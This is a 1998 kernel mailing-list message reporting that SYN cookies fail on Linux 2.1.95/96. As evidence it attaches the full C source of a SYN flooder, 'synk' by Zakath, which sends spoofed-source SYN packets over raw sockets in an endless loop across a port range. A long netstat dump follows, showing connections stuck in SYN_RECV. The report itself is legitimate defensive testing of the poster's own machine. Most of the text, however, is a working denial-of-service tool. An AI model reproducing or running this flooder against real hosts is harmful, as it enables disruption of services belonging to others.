Messages in this thread | | | Date | Tue, 14 Apr 1998 09:28:31 -0400 (EDT) | From | Smilax Rotundifolia <> | Subject | SYN cookie reliability |
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SYN cookies do not seem to work on 2.1.95/96. I have not checked previous kernels for this problem.
I set /proc/sys/net/ipv4/tcp_syncookies to 1. I enabled SYN cookies. I used synk on myself. The flooding gets through.
Attached are the program I used an the output of netstat after using it. IMHO, this is not a good thing. In fact, I feel you should set SYN cookies to the way they were in 2.0.33. At least they worked back then.
----------------------------------------- | | | Fenestrae delendae sunt. | | | | smilax@mindmeld.dyn.ml.org | ----------------------------------------- /* Syn Flooder by Zakath * TCP Functions by trurl_ (thanks man). * All other code by Zakath. * Not too cosemtic right now, just finished beta version. No docs on * how to use - figure it out yourself. Change the usleep() below depending * on your bandwidth / desired effect. * * [3.22.96] */
#include <stdio.h> #include <netdb.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <linux/ip.h> #include <linux/tcp.h>
#define SEQ 0x28374839 #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
unsigned long send_seq, ack_seq, srcport; char flood = 0; int sock, ssock;
/* Check Sum */ unsigned short ip_sum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0;
while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); }
unsigned long getaddr(char *name) { struct hostent *hep;
hep=gethostbyname(name); if(!hep) { fprintf(stderr, "Unknown host %s\n", name); exit(1); } return *(unsigned long *)hep->h_addr; }
void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) { char buf[65536]; struct { /* rfc 793 tcp pseudo-header */ unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; } ph;
struct sockaddr_in sin; /* how necessary is this, given that the destination address is already in the ip header? */
ph.saddr=ih->saddr; ph.daddr=ih->daddr; ph.mbz=0; ph.ptcl=IPPROTO_TCP; ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph)); memcpy(buf+sizeof(ph), th, sizeof(*th)); memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen); memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4); th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1); memcpy(buf, ih, 4*ih->ihl); memcpy(buf+4*ih->ihl, th, sizeof(*th)); memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen); memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4); ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1); memcpy(buf, ih, 4*ih->ihl);
sin.sin_family=AF_INET; sin.sin_port=th->dest; sin.sin_addr.s_addr=ih->daddr;
if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) { printf("Error sending syn packet.\n"); perror(""); exit(1); } }
unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) { int i, s; struct iphdr ih; struct tcphdr th; struct sockaddr_in sin; int sinsize; unsigned short myport=6969; char buf[1024]; struct timeval tv;
ih.version=4; ih.ihl=5; ih.tos=0; /* XXX is this normal? */ ih.tot_len=sizeof(ih)+sizeof(th); ih.id=htons(random()); ih.frag_off=0; ih.ttl=30; ih.protocol=IPPROTO_TCP; ih.check=0; ih.saddr=my_ip; ih.daddr=their_ip; th.source=htons(srcport); th.dest=htons(port); th.seq=htonl(SEQ); th.doff=sizeof(th)/4; th.ack_seq=0; th.res1=0; th.fin=0; th.syn=1; th.rst=0; th.psh=0; th.ack=0; th.urg=0; th.res2=0; th.window=htons(65535); th.check=0; th.urg_ptr=0;
gettimeofday(&tv, 0);
send_tcp_segment(&ih, &th, "", 0);
send_seq = SEQ+1+strlen(buf); } main(int argc, char **argv) { int i, d, max, floodloop, diff; unsigned long them, me_fake; unsigned lowport, highport; char buf[1024];
if(argc<5) { printf("Usage: %s srcaddr dstaddr low high\n", argv[0]); exit(1); }
me_fake=getaddr(argv[1]); them=getaddr(argv[2]); lowport=atoi(argv[3]); highport=atoi(argv[4]);
ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(ssock<0) { perror("socket (raw)"); exit(1); } sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sock<0) { perror("socket"); exit(1); }
max = 1500; i = 1; diff = (highport - lowport);
if (diff > -1) { printf("flooding. each dot equals 25 packets.\n"); for (i=1;i>0;i++) { srandom((time(0)+i)); srcport = getrandom(1, max)+1000; for (d=lowport;d<=highport;d++) { spoof_open(/*0xe1e26d0a*/ me_fake, them, d); usleep(0); if (!(floodloop = (floodloop+1)%(diff+1))) { fprintf(stdout,"."); fflush(stdout); } } } printf("Flood completed.\n"); } else { printf("High port must be greater than Low port.\n"); exit(1); } } Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:telnet localhost:43273 SYN_RECV tcp 0 0 localhost:telnet localhost:17669 SYN_RECV tcp 0 0 localhost:telnet localhost:39177 SYN_RECV tcp 0 0 localhost:telnet localhost:39687 SYN_RECV tcp 0 0 localhost:telnet localhost:51717 SYN_RECV tcp 0 0 localhost:telnet localhost:58376 SYN_RECV tcp 0 0 localhost:telnet localhost:4358 SYN_RECV tcp 0 0 localhost:telnet localhost:8709 SYN_RECV tcp 0 0 localhost:telnet localhost:5640 SYN_RECV tcp 0 0 localhost:telnet localhost:23816 SYN_RECV tcp 0 0 localhost:telnet localhost:38660 SYN_RECV tcp 0 0 localhost:telnet localhost:24582 SYN_RECV tcp 0 0 localhost:telnet localhost:23047 SYN_RECV tcp 0 0 localhost:telnet localhost:9222 SYN_RECV tcp 0 0 localhost:telnet localhost:27144 SYN_RECV tcp 0 0 localhost:telnet localhost:6 SYN_RECV tcp 0 0 localhost:telnet localhost:57862 SYN_RECV tcp 0 0 localhost:telnet localhost:38149 SYN_RECV tcp 0 0 localhost:telnet localhost:7688 SYN_RECV tcp 0 0 localhost:telnet localhost:33544 SYN_RECV tcp 0 0 localhost:telnet localhost:41480 SYN_RECV tcp 0 0 localhost:telnet localhost:17668 SYN_RECV tcp 0 0 localhost:telnet localhost:2823 SYN_RECV tcp 0 0 localhost:telnet localhost:38407 SYN_RECV tcp 0 0 localhost:telnet localhost:38153 SYN_RECV tcp 0 0 localhost:telnet localhost:53254 SYN_RECV tcp 0 0 localhost:telnet localhost:18948 SYN_RECV tcp 0 0 localhost:telnet localhost:30725 SYN_RECV tcp 0 0 localhost:telnet localhost:12548 SYN_RECV tcp 0 0 localhost:telnet localhost:6664 SYN_RECV tcp 0 0 localhost:telnet localhost:61959 SYN_RECV tcp 0 0 localhost:telnet localhost:20231 SYN_RECV tcp 0 0 localhost:telnet localhost:45060 SYN_RECV tcp 0 0 localhost:telnet localhost:54277 SYN_RECV tcp 0 0 localhost:telnet localhost:15109 SYN_RECV tcp 0 0 localhost:telnet localhost:64007 SYN_RECV tcp 0 0 localhost:telnet localhost:11016 SYN_RECV tcp 0 0 localhost:telnet localhost:47881 SYN_RECV tcp 0 0 localhost:telnet localhost:48900 SYN_RECV tcp 0 0 localhost:telnet localhost:3079 SYN_RECV tcp 0 0 localhost:telnet localhost:1800 SYN_RECV tcp 0 0 localhost:telnet localhost:2822 SYN_RECV tcp 0 0 localhost:telnet localhost:45317 SYN_RECV tcp 0 0 localhost:telnet localhost:9476 SYN_RECV tcp 0 0 localhost:telnet localhost:41225 SYN_RECV tcp 0 0 localhost:telnet localhost:65286 SYN_RECV tcp 0 0 localhost:telnet localhost:53768 SYN_RECV tcp 0 0 localhost:telnet localhost:60422 SYN_RECV tcp 0 0 localhost:telnet localhost:41735 SYN_RECV tcp 0 0 localhost:telnet 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localhost:telnet localhost:46085 SYN_RECV tcp 0 0 localhost:telnet localhost:56838 SYN_RECV tcp 0 0 localhost:telnet localhost:59909 SYN_RECV tcp 0 0 localhost:telnet localhost:61960 SYN_RECV tcp 0 0 localhost:telnet localhost:61955 SYN_RECV tcp 0 0 localhost:telnet localhost:26632 SYN_RECV tcp 0 0 localhost:telnet localhost:17926 SYN_RECV tcp 0 0 localhost:telnet localhost:iad2 SYN_RECV tcp 0 0 localhost:telnet localhost:7685 SYN_RECV tcp 0 0 localhost:telnet localhost:47369 SYN_RECV tcp 0 0 localhost:telnet localhost:12039 SYN_RECV tcp 0 0 localhost:telnet localhost:5124 SYN_RECV tcp 0 0 localhost:telnet localhost:13318 SYN_RECV tcp 0 0 localhost:telnet localhost:63240 SYN_RECV tcp 0 0 localhost:telnet localhost:46596 SYN_RECV tcp 0 0 localhost:telnet localhost:23814 SYN_RECV tcp 0 0 localhost:telnet localhost:64771 SYN_RECV tcp 0 0 localhost:telnet localhost:60677 SYN_RECV tcp 0 0 localhost:telnet localhost:3593 SYN_RECV tcp 0 0 localhost:telnet localhost:27908 SYN_RECV tcp 0 0 localhost:telnet localhost:61704 SYN_RECV tcp 0 0 localhost:telnet localhost:1287 SYN_RECV tcp 0 0 localhost:telnet localhost:4870 SYN_RECV tcp 0 0 localhost:telnet localhost:31236 SYN_RECV tcp 0 0 localhost:telnet localhost:63748 SYN_RECV tcp 0 0 localhost:telnet localhost:40453 SYN_RECV tcp 0 0 localhost:telnet localhost:56070 SYN_RECV tcp 0 0 localhost:telnet localhost:39175 SYN_RECV tcp 0 0 localhost:telnet localhost:28676 SYN_RECV tcp 0 0 localhost:telnet localhost:44297 SYN_RECV tcp 0 0 localhost:telnet localhost:30216 SYN_RECV tcp 0 0 localhost:telnet localhost:44296 SYN_RECV tcp 0 0 localhost:telnet localhost:58630 SYN_RECV tcp 0 0 localhost:telnet localhost:15113 SYN_RECV tcp 0 0 localhost:telnet localhost:64776 SYN_RECV tcp 0 0 localhost:telnet localhost:10244 SYN_RECV tcp 0 0 localhost:telnet localhost:21001 SYN_RECV tcp 0 0 localhost:telnet localhost:33028 SYN_RECV tcp 0 0 localhost:telnet localhost:36870 SYN_RECV tcp 0 0 localhost:telnet localhost:19206 SYN_RECV tcp 0 0 localhost:telnet localhost:26633 SYN_RECV tcp 0 0 localhost:telnet localhost:32777 SYN_RECV tcp 0 0 localhost:telnet localhost:57095 SYN_RECV tcp 0 0 localhost:telnet localhost:55301 SYN_RECV tcp 0 0 localhost:telnet localhost:3849 SYN_RECV tcp 0 0 localhost:telnet localhost:11017 SYN_RECV tcp 0 0 localhost:telnet localhost:61956 SYN_RECV tcp 0 0 localhost:telnet localhost:18697 SYN_RECV tcp 0 0 localhost:telnet localhost:48902 SYN_RECV tcp 0 0 localhost:telnet localhost:60421 SYN_RECV tcp 0 0 localhost:telnet localhost:24325 SYN_RECV tcp 0 0 localhost:telnet localhost:50437 SYN_RECV tcp 0 0 localhost:telnet localhost:25095 SYN_RECV tcp 0 0 localhost:telnet localhost:8965 SYN_RECV tcp 0 0 localhost:telnet localhost:24839 SYN_RECV tcp 0 0 localhost:telnet localhost:46597 SYN_RECV tcp 0 0 localhost:telnet localhost:25093 SYN_RECV tcp 0 0 localhost:telnet localhost:11527 SYN_RECV tcp 0 0 localhost:telnet localhost:50952 SYN_RECV tcp 0 0 localhost:telnet localhost:39941 SYN_RECV tcp 0 0 localhost:telnet localhost:43781 SYN_RECV tcp 0 0 localhost:telnet localhost:33799 SYN_RECV tcp 0 0 localhost:telnet localhost:38148 SYN_RECV tcp 0 0 localhost:telnet localhost:777 SYN_RECV tcp 0 0 localhost:telnet localhost:12296 SYN_RECV tcp 0 0 localhost:telnet localhost:37641 SYN_RECV tcp 0 0 localhost:telnet localhost:36872 SYN_RECV tcp 0 0 localhost:telnet localhost:18696 SYN_RECV tcp 0 0 localhost:telnet localhost:2054 SYN_RECV tcp 0 0 localhost:telnet localhost:32261 SYN_RECV tcp 0 0 localhost:telnet localhost:12550 SYN_RECV tcp 0 0 localhost:telnet localhost:9220 SYN_RECV tcp 0 0 localhost:telnet localhost:51975 SYN_RECV tcp 0 0 localhost:telnet localhost:32772 SYN_RECV tcp 0 0 localhost:telnet localhost:59908 SYN_RECV tcp 0 0 localhost:telnet localhost:60420 SYN_RECV tcp 0 0 localhost:telnet localhost:57606 SYN_RECV tcp 0 0 localhost:telnet localhost:9733 SYN_RECV tcp 0 0 localhost:telnet localhost:3334 SYN_RECV tcp 0 0 localhost:telnet localhost:18181 SYN_RECV tcp 0 0 localhost:telnet localhost:31493 SYN_RECV tcp 0 0 localhost:telnet localhost:52996 SYN_RECV tcp 0 0 localhost:telnet localhost:6663 SYN_RECV tcp 0 0 localhost:telnet localhost:36871 SYN_RECV tcp 0 0 localhost:telnet localhost:52742 SYN_RECV tcp 0 0 localhost:telnet localhost:9992 SYN_RECV tcp 0 0 localhost:telnet localhost:52231 SYN_RECV tcp 0 0 localhost:telnet localhost:58885 SYN_RECV tcp 0 0 localhost:telnet localhost:52229 SYN_RECV tcp 0 0 localhost:telnet localhost:17156 SYN_RECV tcp 0 0 localhost:telnet localhost:8713 SYN_RECV tcp 0 0 localhost:telnet localhost:29702 SYN_RECV tcp 0 0 localhost:telnet localhost:26884 SYN_RECV tcp 0 0 localhost:telnet localhost:48644 SYN_RECV tcp 0 0 localhost:telnet localhost:28678 SYN_RECV tcp 0 0 localhost:telnet localhost:29956 SYN_RECV tcp 0 0 localhost:telnet localhost:14853 SYN_RECV tcp 0 0 localhost:telnet localhost:46340 SYN_RECV tcp 0 0 localhost:telnet localhost:17925 SYN_RECV tcp 0 0 localhost:telnet localhost:31240 SYN_RECV tcp 0 0 localhost:telnet localhost:46852 SYN_RECV tcp 0 0 localhost:telnet localhost:51463 SYN_RECV tcp 0 0 localhost:telnet localhost:1285 SYN_RECV tcp 0 0 localhost:telnet localhost:42244 SYN_RECV tcp 0 0 localhost:telnet localhost:23559 SYN_RECV tcp 0 0 localhost:telnet localhost:45829 SYN_RECV tcp 0 0 localhost:telnet localhost:54788 SYN_RECV tcp 0 0 localhost:telnet localhost:36615 SYN_RECV tcp 0 0 localhost:telnet localhost:5381 SYN_RECV tcp 0 0 localhost:telnet localhost:58117 SYN_RECV tcp 0 0 localhost:telnet localhost:33285 SYN_RECV tcp 0 0 localhost:telnet localhost:26631 SYN_RECV tcp 0 0 localhost:telnet localhost:37894 SYN_RECV tcp 0 0 localhost:telnet localhost:57861 SYN_RECV tcp 0 0 localhost:telnet localhost:25861 SYN_RECV tcp 0 0 localhost:telnet localhost:29704 SYN_RECV tcp 0 0 localhost:telnet localhost:10247 SYN_RECV tcp 0 0 localhost:telnet localhost:34053 SYN_RECV tcp 0 0 localhost:telnet localhost:51204 SYN_RECV tcp 0 0 localhost:telnet localhost:54534 SYN_RECV tcp 0 0 localhost:telnet localhost:5127 SYN_RECV tcp 0 0 localhost:telnet localhost:11273 SYN_RECV tcp 0 0 localhost:telnet localhost:3332 SYN_RECV tcp 0 0 localhost:telnet localhost:63239 SYN_RECV tcp 0 0 localhost:telnet localhost:37637 SYN_RECV tcp 0 0 localhost:telnet localhost:13832 SYN_RECV tcp 0 0 localhost:telnet localhost:41478 SYN_RECV tcp 0 0 localhost:telnet localhost:51462 SYN_RECV tcp 0 0 localhost:telnet localhost:15367 SYN_RECV tcp 0 0 localhost:telnet localhost:51974 SYN_RECV tcp 0 0 localhost:telnet localhost:24329 SYN_RECV tcp 0 0 localhost:telnet localhost:4100 SYN_RECV tcp 0 0 localhost:telnet localhost:28424 SYN_RECV tcp 0 0 localhost:telnet localhost:46856 SYN_RECV tcp 0 0 localhost:telnet localhost:3591 SYN_RECV tcp 0 0 localhost:telnet localhost:18951 SYN_RECV tcp 0 0 localhost:telnet localhost:19208 SYN_RECV tcp 0 0 localhost:telnet localhost:56328 SYN_RECV tcp 0 0 localhost:telnet localhost:27912 SYN_RECV tcp 0 0 localhost:telnet localhost:10503 SYN_RECV tcp 0 0 localhost:telnet localhost:28679 SYN_RECV tcp 0 0 localhost:telnet localhost:32773 SYN_RECV tcp 0 0 localhost:telnet localhost:15112 SYN_RECV tcp 0 0 localhost:telnet localhost:32009 SYN_RECV tcp 0 0 localhost:telnet localhost:34056 SYN_RECV tcp 0 0 localhost:telnet localhost:64518 SYN_RECV tcp 0 0 localhost:telnet localhost:40452 SYN_RECV tcp 0 0 localhost:telnet localhost:42761 SYN_RECV tcp 0 0 localhost:telnet localhost:29447 SYN_RECV tcp 0 0 localhost:telnet localhost:49158 SYN_RECV tcp 0 0 localhost:telnet localhost:60931 SYN_RECV tcp 0 0 localhost:telnet localhost:27654 SYN_RECV tcp 0 0 localhost:telnet localhost:37639 SYN_RECV tcp 0 0 localhost:telnet localhost:41481 SYN_RECV tcp 0 0 localhost:telnet localhost:43529 SYN_RECV tcp 0 0 localhost:telnet localhost:36100 SYN_RECV tcp 0 0 localhost:telnet localhost:22791 SYN_RECV tcp 0 0 localhost:telnet localhost:10756 SYN_RECV tcp 0 0 localhost:telnet localhost:8196 SYN_RECV tcp 0 0 localhost:telnet localhost:24327 SYN_RECV tcp 0 0 mindmeld.dyn.ml.or:smtp orava.funet.fi:2524 TIME_WAIT udp 0 0 localhost:domain *:* udp 0 0 mor-nj6-22.ix.netc:6667 *:* Active UNIX domain sockets (w/o servers) Proto RefCnt Flags Type State I-Node Path unix 1 [ ] STREAM 302 unix 1 [ ] DGRAM 360 unix 2 [ ] STREAM 21203 /dev/log unix 2 [ ] STREAM 21209 /dev/log unix 2 [ ] STREAM 22078 /dev/log unix 2 [ ] STREAM 22398 /dev/log unix 2 [ ] STREAM 24261 /dev/log unix 2 [ ] STREAM 83428 /dev/log unix 1 [ ] DGRAM 358 /var/lib/news/innd/control unix 1 [ ] STREAM CONNECTED 165 @00000004 unix 1 [ ] STREAM CONNECTED 187 @00000005 unix 1 [ ] STREAM CONNECTED 294 @00000006 unix 2 [ ] STREAM CONNECTED 21202 @0000009c unix 2 [ ] STREAM CONNECTED 21208 @0000009d unix 2 [ ] STREAM CONNECTED 24260 @000000c4 unix 1 [ ] STREAM CONNECTED 351 @0000000b unix 2 [ ] STREAM CONNECTED 22397 @000000af unix 1 [ ] STREAM CONNECTED 348 @0000000a unix 2 [ ] STREAM CONNECTED 83427 @0000035c unix 2 [ ] STREAM CONNECTED 22077 @000000a9 Active IPX sockets Proto Recv-Q Send-Q Local Address Foreign Address State IPX 0 0 6EC5B8CD:000000000001:0040 - IPX 0 0 6EC5B8CD:000000000001:5204 - IPX 0 0 6EC5B8CD:000000000001:5304 - IPX 0 0 6EC5B8CD:000000000001:0140 - IPX 0 0 6EC5B8CD:000000000001:0240 - IPX 0 0 6EC5B8CD:000000000001:5104 - IPX 0 0 6EC5B8CD:000000000001:0340 - IPX 0 0 6EC5B8CD:000000000001:0440 -
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